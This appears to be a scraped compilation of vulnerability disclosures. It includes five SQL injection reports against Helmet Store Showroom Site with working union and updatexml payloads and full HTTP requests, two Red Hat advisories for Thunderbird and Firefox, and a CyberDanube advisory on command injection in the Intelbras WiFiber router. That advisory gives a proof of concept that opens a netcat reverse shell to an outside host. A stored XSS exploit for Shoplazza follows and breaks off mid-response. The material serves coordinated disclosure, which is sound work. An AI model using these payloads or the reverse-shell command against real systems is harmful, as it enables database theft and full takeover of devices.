Helmet Store Showroom Site v1.0 is vulnerable to SQL Injection via /hss/?page=categories&c=.

**Helmet Store Showroom Site v1.0 by oretnom23 has SQL injection**

BUG\_Author: HMHYHM

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15851/helmet-store-showroom-site-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /hss/?page=categories&c=

Vulnerability location: /hss/?page=categories&c=, c

dbname =hss\_db,length=6

\[+\] Payload: /hss/?page=categories&c=-2%27%20union%20select%201,database(),3,4,5,6--+ // Leak place ---> c

GET /hss/?page\=categories&c\=\-2%27%20union%20select%201,database(),3,4,5,6\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=29mcgvmjo6mqsepd64ra2rlt4v
Connection: close

CVE-2022-46119: bug_report/SQLi-3.md at main · HMHYHM/bug_report

Helmet Store Showroom Site v1.0 is vulnerable to SQL Injection via /hss/?page=product_per_brand&bid=.

**Helmet Store Showroom Site v1.0 by oretnom23 has SQL injection**

BUG\_Author: HMHYHM

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15851/helmet-store-showroom-site-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /hss/?page=product\_per\_brand&bid=

Vulnerability location: /hss/?page=product\_per\_brand&bid=, id

dbname =hss\_db,length=6

\[+\] Payload: /hss/?page=product\_per\_brand&bid=-2%27%20union%20select%201,database(),3,4,5,6--+ // Leak place ---> bid

GET /hss/?page\=product\_per\_brand&bid\=\-2%27%20union%20select%201,database(),3,4,5,6\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=29mcgvmjo6mqsepd64ra2rlt4v
Connection: close

CVE-2022-46118: bug_report/SQLi-2.md at main · HMHYHM/bug_report

Helmet Store Showroom Site v1.0 is vulnerable to SQL Injection via /hss/admin/?page=user/manage_user&id=.

Permalink

Cannot retrieve contributors at this time

**Helmet Store Showroom Site v1.0 by oretnom23 has SQL injection**

BUG\_Author: HMHYHM

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15851/helmet-store-showroom-site-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /hss/admin/?page=user/manage\_user&id=

Vulnerability location: /hss/admin/?page=user/manage\_user&id=,id

dbname =hss\_db,length=6

\[+\] Payload: /hss/admin/?page=user/manage\_user&id=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /hss/admin/?page\=user/manage\_user&id\=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=29mcgvmjo6mqsepd64ra2rlt4v
Connection: close

CVE-2022-46124: bug_report/SQLi-9.md at main · HMHYHM/bug_report

Helmet Store Showroom Site v1.0 is vulnerable to SQL Injection via /hss/admin/?page=products/view_product&id=.

**Helmet Store Showroom Site v1.0 by oretnom23 has SQL injection**

BUG\_Author: HMHYHM

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15851/helmet-store-showroom-site-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /hss/admin/?page=products/view\_product&id=

Vulnerability location: /hss/admin/?page=products/view\_product&id=,id

dbname =hss\_db,length=6

\[+\] Payload: /hss/admin/?page=products/view\_product&id=-2%27%20union%20select%201,2,3,4,database(),6,7,8,9,10,11,12,13--+ // Leak place ---> id

GET /hss/admin/?page\=products/view\_product&id\=\-2%27%20union%20select%201,2,3,4,database(),6,7,8,9,10,11,12,13\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=29mcgvmjo6mqsepd64ra2rlt4v
Connection: close

CVE-2022-46120: bug_report/SQLi-4.md at main · HMHYHM/bug_report

Helmet Store Showroom Site v1.0 is vulnerable to SQL Injection via /hss/admin/?page=products/manage_product&id=.

**Helmet Store Showroom Site v1.0 by oretnom23 has SQL injection**

BUG\_Author: HMHYHM

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15851/helmet-store-showroom-site-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /hss/admin/?page=products/manage\_product&id=

Vulnerability location: /hss/admin/?page=products/manage\_product&id=,id

dbname =hss\_db,length=6

\[+\] Payload: /hss/admin/?page=products/manage\_product&id=-2%27%20union%20select%201,2,3,4,database(),6,7,8,9,10--+ // Leak place ---> id

GET /hss/admin/?page\=products/manage\_product&id\=\-2%27%20union%20select%201,2,3,4,database(),6,7,8,9,10\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=29mcgvmjo6mqsepd64ra2rlt4v
Connection: close

CVE-2022-46121: bug_report/SQLi-5.md at main · HMHYHM/bug_report

Red Hat Security Advisory 2022-8980-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 102.5.0. Issues addressed include bypass and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2022:8980-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:8980  
Issue date:        2022-12-13  
CVE Names:         CVE-2022-45403 CVE-2022-45404 CVE-2022-45405  
                   CVE-2022-45406 CVE-2022-45408 CVE-2022-45409  
                   CVE-2022-45410 CVE-2022-45411 CVE-2022-45412  
                   CVE-2022-45416 CVE-2022-45418 CVE-2022-45420  
                   CVE-2022-45421  
====================================================================  
1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 9.0  
Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream EUS (v.9.0) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 102.5.0.

Security Fix(es):

* Mozilla: Service Workers might have learned size of cross-origin media  
files (CVE-2022-45403)

* Mozilla: Fullscreen notification bypass (CVE-2022-45404)

* Mozilla: Use-after-free in InputStream implementation (CVE-2022-45405)

* Mozilla: Use-after-free of a JavaScript Realm (CVE-2022-45406)

* Mozilla: Fullscreen notification bypass via windowName (CVE-2022-45408)

* Mozilla: Use-after-free in Garbage Collection (CVE-2022-45409)

* Mozilla: Memory safety bugs fixed in Firefox 107 and Firefox ESR 102.5  
(CVE-2022-45421)

* Mozilla: ServiceWorker-intercepted requests bypassed SameSite cookie  
policy (CVE-2022-45410)

* Mozilla: Cross-Site Tracing was possible via non-standard override  
headers (CVE-2022-45411)

* Mozilla: Symlinks may resolve to partially uninitialized buffers  
(CVE-2022-45412)

* Mozilla: Keystroke Side-Channel Leakage (CVE-2022-45416)

* Mozilla: Custom mouse cursor could have been drawn over browser UI  
(CVE-2022-45418)

* Mozilla: Iframe contents could be rendered outside the iframe  
(CVE-2022-45420)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2143197 - CVE-2022-45403 Mozilla: Service Workers might have learned size of cross-origin media files  
2143198 - CVE-2022-45404 Mozilla: Fullscreen notification bypass  
2143199 - CVE-2022-45405 Mozilla: Use-after-free in InputStream implementation  
2143200 - CVE-2022-45406 Mozilla: Use-after-free of a JavaScript Realm  
2143201 - CVE-2022-45408 Mozilla: Fullscreen notification bypass via windowName  
2143202 - CVE-2022-45409 Mozilla: Use-after-free in Garbage Collection  
2143203 - CVE-2022-45410 Mozilla: ServiceWorker-intercepted requests bypassed SameSite cookie policy  
2143204 - CVE-2022-45411 Mozilla: Cross-Site Tracing was possible via non-standard override headers  
2143205 - CVE-2022-45412 Mozilla: Symlinks may resolve to partially uninitialized buffers  
2143240 - CVE-2022-45416 Mozilla: Keystroke Side-Channel Leakage  
2143241 - CVE-2022-45418 Mozilla: Custom mouse cursor could have been drawn over browser UI  
2143242 - CVE-2022-45420 Mozilla: Iframe contents could be rendered outside the iframe  
2143243 - CVE-2022-45421 Mozilla: Memory safety bugs fixed in Firefox 107 and Firefox ESR 102.5

6. Package List:

Red Hat Enterprise Linux AppStream EUS (v.9.0):

Source:  
thunderbird-102.5.0-2.el9_0.src.rpm

aarch64:  
thunderbird-102.5.0-2.el9_0.aarch64.rpm  
thunderbird-debuginfo-102.5.0-2.el9_0.aarch64.rpm  
thunderbird-debugsource-102.5.0-2.el9_0.aarch64.rpm

ppc64le:  
thunderbird-102.5.0-2.el9_0.ppc64le.rpm  
thunderbird-debuginfo-102.5.0-2.el9_0.ppc64le.rpm  
thunderbird-debugsource-102.5.0-2.el9_0.ppc64le.rpm

s390x:  
thunderbird-102.5.0-2.el9_0.s390x.rpm  
thunderbird-debuginfo-102.5.0-2.el9_0.s390x.rpm  
thunderbird-debugsource-102.5.0-2.el9_0.s390x.rpm

x86_64:  
thunderbird-102.5.0-2.el9_0.x86_64.rpm  
thunderbird-debuginfo-102.5.0-2.el9_0.x86_64.rpm  
thunderbird-debugsource-102.5.0-2.el9_0.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-45403  
https://access.redhat.com/security/cve/CVE-2022-45404  
https://access.redhat.com/security/cve/CVE-2022-45405  
https://access.redhat.com/security/cve/CVE-2022-45406  
https://access.redhat.com/security/cve/CVE-2022-45408  
https://access.redhat.com/security/cve/CVE-2022-45409  
https://access.redhat.com/security/cve/CVE-2022-45410  
https://access.redhat.com/security/cve/CVE-2022-45411  
https://access.redhat.com/security/cve/CVE-2022-45412  
https://access.redhat.com/security/cve/CVE-2022-45416  
https://access.redhat.com/security/cve/CVE-2022-45418  
https://access.redhat.com/security/cve/CVE-2022-45420  
https://access.redhat.com/security/cve/CVE-2022-45421  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
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--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-8980-01

Red Hat Security Advisory 2022-8979-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.5.0 ESR. Issues addressed include bypass and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:8979-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:8979  
Issue date:        2022-12-13  
CVE Names:         CVE-2022-45403 CVE-2022-45404 CVE-2022-45405  
                   CVE-2022-45406 CVE-2022-45408 CVE-2022-45409  
                   CVE-2022-45410 CVE-2022-45411 CVE-2022-45412  
                   CVE-2022-45416 CVE-2022-45418 CVE-2022-45420  
                   CVE-2022-45421  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 9.0  
Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream EUS (v.9.0) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.5.0 ESR.

Security Fix(es):

* Mozilla: Service Workers might have learned size of cross-origin media  
files (CVE-2022-45403)

* Mozilla: Fullscreen notification bypass (CVE-2022-45404)

* Mozilla: Use-after-free in InputStream implementation (CVE-2022-45405)

* Mozilla: Use-after-free of a JavaScript Realm (CVE-2022-45406)

* Mozilla: Fullscreen notification bypass via windowName (CVE-2022-45408)

* Mozilla: Use-after-free in Garbage Collection (CVE-2022-45409)

* Mozilla: Memory safety bugs fixed in Firefox 107 and Firefox ESR 102.5  
(CVE-2022-45421)

* Mozilla: ServiceWorker-intercepted requests bypassed SameSite cookie  
policy (CVE-2022-45410)

* Mozilla: Cross-Site Tracing was possible via non-standard override  
headers (CVE-2022-45411)

* Mozilla: Symlinks may resolve to partially uninitialized buffers  
(CVE-2022-45412)

* Mozilla: Keystroke Side-Channel Leakage (CVE-2022-45416)

* Mozilla: Custom mouse cursor could have been drawn over browser UI  
(CVE-2022-45418)

* Mozilla: Iframe contents could be rendered outside the iframe  
(CVE-2022-45420)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2143197 - CVE-2022-45403 Mozilla: Service Workers might have learned size of cross-origin media files  
2143198 - CVE-2022-45404 Mozilla: Fullscreen notification bypass  
2143199 - CVE-2022-45405 Mozilla: Use-after-free in InputStream implementation  
2143200 - CVE-2022-45406 Mozilla: Use-after-free of a JavaScript Realm  
2143201 - CVE-2022-45408 Mozilla: Fullscreen notification bypass via windowName  
2143202 - CVE-2022-45409 Mozilla: Use-after-free in Garbage Collection  
2143203 - CVE-2022-45410 Mozilla: ServiceWorker-intercepted requests bypassed SameSite cookie policy  
2143204 - CVE-2022-45411 Mozilla: Cross-Site Tracing was possible via non-standard override headers  
2143205 - CVE-2022-45412 Mozilla: Symlinks may resolve to partially uninitialized buffers  
2143240 - CVE-2022-45416 Mozilla: Keystroke Side-Channel Leakage  
2143241 - CVE-2022-45418 Mozilla: Custom mouse cursor could have been drawn over browser UI  
2143242 - CVE-2022-45420 Mozilla: Iframe contents could be rendered outside the iframe  
2143243 - CVE-2022-45421 Mozilla: Memory safety bugs fixed in Firefox 107 and Firefox ESR 102.5

6. Package List:

Red Hat Enterprise Linux AppStream EUS (v.9.0):

Source:  
firefox-102.5.0-1.el9_0.src.rpm

aarch64:  
firefox-102.5.0-1.el9_0.aarch64.rpm  
firefox-debuginfo-102.5.0-1.el9_0.aarch64.rpm  
firefox-debugsource-102.5.0-1.el9_0.aarch64.rpm

ppc64le:  
firefox-102.5.0-1.el9_0.ppc64le.rpm  
firefox-debuginfo-102.5.0-1.el9_0.ppc64le.rpm  
firefox-debugsource-102.5.0-1.el9_0.ppc64le.rpm

s390x:  
firefox-102.5.0-1.el9_0.s390x.rpm  
firefox-debuginfo-102.5.0-1.el9_0.s390x.rpm  
firefox-debugsource-102.5.0-1.el9_0.s390x.rpm

x86_64:  
firefox-102.5.0-1.el9_0.x86_64.rpm  
firefox-debuginfo-102.5.0-1.el9_0.x86_64.rpm  
firefox-debugsource-102.5.0-1.el9_0.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-45403  
https://access.redhat.com/security/cve/CVE-2022-45404  
https://access.redhat.com/security/cve/CVE-2022-45405  
https://access.redhat.com/security/cve/CVE-2022-45406  
https://access.redhat.com/security/cve/CVE-2022-45408  
https://access.redhat.com/security/cve/CVE-2022-45409  
https://access.redhat.com/security/cve/CVE-2022-45410  
https://access.redhat.com/security/cve/CVE-2022-45411  
https://access.redhat.com/security/cve/CVE-2022-45412  
https://access.redhat.com/security/cve/CVE-2022-45416  
https://access.redhat.com/security/cve/CVE-2022-45418  
https://access.redhat.com/security/cve/CVE-2022-45420  
https://access.redhat.com/security/cve/CVE-2022-45421  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
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-----END PGP SIGNATURE-----  
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Red Hat Security Advisory 2022-8979-01

Intelbras WiFiber 120AC inMesh version 1.1-220216 suffers from an authenticated command injection vulnerability.

    CyberDanube Security Research 20221009-0-------------------------------------------------------------------------------                 title| Authenticated Command Injection              product| Intelbras WiFiber 120AC inMesh   vulnerable version| 1.1-220216        fixed version| 1-1-220826           CVE number| CVE-2022-40005               impact| High             homepage| https://www.intelbras.com                found| 2022-08-01                   by| T. Weber (Office Vienna)                     | CyberDanube Security Research                     | Vienna | St. Pölten                     |                     | https://www.cyberdanube.com------------------------------------------------------------------------------- Vendor description------------------------------------------------------------------------------- "We are Intelbras. A company that for 45 years has been offering innovativesolutions in security, networks, communication and energy. Our dream began tocome to life there in 1976, in the city of São José, having originated from anINspiration and a promising idea: to manufacture PABX centrals. During the80's, we surprised the market with the launch of the first PABX developed withnational technology, a product that showed everyone our innovative DNA. The 90swere marked by the consolidation of the company in the telecommunicationssegment and we became leaders in the PABX and telephone terminals segment. Theturn of the millennium represented the search for greater connection andproximity to people, something that is in total harmony with our philosophy tothis day. More consolidated in the market, in 2010 we opened 3 manufacturingunits, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.We reached our 45th birthday having reached a historic milestone: we have beena company listed on the B3 since February 2021. Our trajectory so far has beenINnovative, INtelligent and INSpiring. We saw innovation, which is part of ourDNA, increasingly present in our daily lives. And it was only possible towrite a story so full of achievements because employees, partners and customerswere close and believed in us."Source: https://www.intelbras.com/en/institutional/who-we-areVulnerable versions------------------------------------------------------------------------------- WiFiber 120AC inMesh / 1.1-220216Vulnerability overview------------------------------------------------------------------------------- 1) Authenticated Command Injection (CVE-2022-40005)The web server of the device is prone to an authenticated command injection.It allows an attacker to gain full access to the underlying operating system ofthe device with all implications. If such a device is acting as key device inan industrial network, more extensive damage in the corresponding network canbe done by an attacker.Proof of Concept------------------------------------------------------------------------------- 1) Authenticated Command Injection (CVE-2022-40005)The web server is prone to an authenticated command injection via POSTparameters. The following proof-of-concept shows how to inject the command"ls /" to the system which gets executed in the background:=============================================================================== POST /boaform/formPing6 HTTP/1.1Host: 192.168.3.147User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 87Origin: http://192.168.3.147Connection: closeReferer: http://192.168.3.147/ping6.aspUpgrade-Insecure-Requests: 1pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 =============================================================================== The following commands can be used to open a reverse shell:"rm -f /tmp/f""mkfifo /tmp/f""cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"Those commands were sent via a crafted POST request:=============================================================================== POST /boaform/formTracert HTTP/1.1Host: 192.168.3.147User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 255Origin: http://192.168.3.147Connection: closeReferer: http://192.168.3.147/tracert.aspUpgrade-Insecure-Requests: 1proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 =============================================================================== The vulnerability was manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution------------------------------------------------------------------------------- Update to firmware version 1-1-220826.https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip Workaround------------------------------------------------------------------------------- NoneRecommendation------------------------------------------------------------------------------- CyberDanube recommends Intelbras customers to upgrade the firmware to thelatest version available.Contact Timeline------------------------------------------------------------------------------- 2022-08-02: Contacting Intelbras via suporte@intelbras.com.br.2022-08-03: Request from Intelbras to send the advisory tocsirt@intelbras.com.br; Sent the advisory to this address.2022-08-30: Asked for status update; Vendor answered that the new firmware             version has been released the day before. Set the disclosure date             to 2022-10-03 (60 days policy).2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.2022-10-09: Coordinated disclosure of advisory.Web: https://www.cyberdanube.comTwitter: https://twitter.com/cyberdanubeMail: research at cyberdanube dot comEOF T. Weber / @2022On 09.10.22 17:21, Thomas Weber wrote:> CyberDanube Security Research 20221009-0> ------------------------------------------------------------------------------- >>                title| Authenticated Command Injection>              product| Intelbras WiFiber 120AC inMesh>   vulnerable version| 1.1-220216>        fixed version| 1-1-220826>           CVE number|>               impact| High>             homepage| https://www.intelbras.com>                found| 2022-08-01>                   by| T. Weber (Office Vienna)>                     | CyberDanube Security Research>                     | Vienna | St. Pölten>                     |>                     | https://www.cyberdanube.com> ------------------------------------------------------------------------------- >>> Vendor description> ------------------------------------------------------------------------------- >> "We are Intelbras. A company that for 45 years has been offering > innovative> solutions in security, networks, communication and energy. Our dream > began to> come to life there in 1976, in the city of São José, having originated > from an> INspiration and a promising idea: to manufacture PABX centrals. During > the> 80's, we surprised the market with the launch of the first PABX > developed with> national technology, a product that showed everyone our innovative > DNA. The 90s> were marked by the consolidation of the company in the telecommunications> segment and we became leaders in the PABX and telephone terminals > segment. The> turn of the millennium represented the search for greater connection and> proximity to people, something that is in total harmony with our > philosophy to> this day. More consolidated in the market, in 2010 we opened 3 > manufacturing> units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.> We reached our 45th birthday having reached a historic milestone: we > have been> a company listed on the B3 since February 2021. Our trajectory so far > has been> INnovative, INtelligent and INSpiring. We saw innovation, which is > part of our> DNA, increasingly present in our daily lives. And it was only possible to> write a story so full of achievements because employees, partners and > customers> were close and believed in us.">> Source: https://www.intelbras.com/en/institutional/who-we-are>>> Vulnerable versions> ------------------------------------------------------------------------------- >> WiFiber 120AC inMesh / 1.1-220216>>> Vulnerability overview> ------------------------------------------------------------------------------- >> 1) Authenticated Command Injection> The web server of the device is prone to an authenticated command > injection.> It allows an attacker to gain full access to the underlying operating > system of> the device with all implications. If such a device is acting as key > device in> an industrial network, more extensive damage in the corresponding > network can> be done by an attacker.>>> Proof of Concept> ------------------------------------------------------------------------------- >> 1) Authenticated Command Injection> The web server is prone to an authenticated command injection via POST> parameters. The following proof-of-concept shows how to inject the > command> "ls /" to the system which gets executed in the background:>> =============================================================================== >> POST /boaform/formPing6 HTTP/1.1> Host: 192.168.3.147> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 > Firefox/91.0> Accept: > text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8> Accept-Language: de,en-US;q=0.7,en;q=0.3> Accept-Encoding: gzip, deflate> Content-Type: application/x-www-form-urlencoded> Content-Length: 87> Origin: http://192.168.3.147> Connection: close> Referer: http://192.168.3.147/ping6.asp> Upgrade-Insecure-Requests: 1>> pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 >> =============================================================================== >>> The following commands can be used to open a reverse shell:>> "rm -f /tmp/f"> "mkfifo /tmp/f"> "cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f">> Those commands were sent via a crafted POST request:>> =============================================================================== >> POST /boaform/formTracert HTTP/1.1> Host: 192.168.3.147> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 > Firefox/91.0> Accept: > text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8> Accept-Language: de,en-US;q=0.7,en;q=0.3> Accept-Encoding: gzip, deflate> Content-Type: application/x-www-form-urlencoded> Content-Length: 255> Origin: http://192.168.3.147> Connection: close> Referer: http://192.168.3.147/tracert.asp> Upgrade-Insecure-Requests: 1>> proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 >> =============================================================================== >>> The vulnerability was manually verified on an emulated device by using > the> MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).>>> Solution> ------------------------------------------------------------------------------- >> Update to firmware version 1-1-220826.>> https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip >>>> Workaround> ------------------------------------------------------------------------------- >> None>>> Recommendation> ------------------------------------------------------------------------------- >> CyberDanube recommends Intelbras customers to upgrade the firmware to the> latest version available.>>> Contact Timeline> ------------------------------------------------------------------------------- >> 2022-08-02: Contacting Intelbras via suporte@intelbras.com.br.> 2022-08-03: Request from Intelbras to send the advisory to> csirt@intelbras.com.br; Sent the advisory to this address.> 2022-08-30: Asked for status update; Vendor answered that the new > firmware>             version has been released the day before. Set the > disclosure date>             to 2022-10-03 (60 days policy).> 2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.> 2022-10-09: Coordinated disclosure of advisory.>>> Web: https://www.cyberdanube.com> Twitter: https://twitter.com/cyberdanube> Mail: research at cyberdanube dot com>> EOF T. Weber / @2022>

Intelbras WiFiber 120AC inMesh 1.1-220216 Command Injection

Shoplazza version 1.1 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Shoplazza 1.1 - Stored Cross Site Scripting# Exploit Author: Andrey Stoykov# Software Link: https://github.com/Shoplazza/LifeStyle# Version: 1.1# Tested on: Ubuntu 20.04Stored XSS #1:To reproduce do the following:1. Login as normal user account2. Browse "Blog Posts" -> "Manage Blogs" -> "Add Blog Post"3. Select "Title" and enter payload "><script>alert(1)</script>// HTTP POST request showing XSS payloadPATCH /admin/api/admin/articles/2dc688b1-ac9e-46d7-8e56-57ded1d45bf5 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]{"article":{"id":"2dc688b1-ac9e-46d7-8e56-57ded1d45bf5","title":"Title\"><script>alert(1)</script>","excerpt":"Excerpt\"><script>alert(2)</script>","content":"<p>\"><script>alert(3)</script></p>"[...]// HTTP response showing unsanitized XSS payloadHTTP/1.1 200 OKContent-Type: application/json; charset=utf-8[...]{"article":{"title":"Title\"><script>alert(1)</script>","excerpt":"Excerpt\"><script>alert(2)</script>","published":true,"seo_title":"Title\"><script>alert(1)</script>"[...]// HTTP GET request to trigger XSS payloadGET /blog/titlescriptalert1script?st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NzAzMzE5MzYsInN0b3JlX2lkIjo1MTA0NTksInVzZXJfaWQiOiI4NGY4Nzk4ZC03ZGQ1LTRlZGMtYjk3Yy02MWUwODk5ZjM2MDgifQ.9ybPJCtv6Lzf1BlDy-ipoGpXajtl75QdUKEnfj9L49I HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0[...]// HTTP response showing unsanitized XSS payloadHTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8[...]<meta name="viewport" 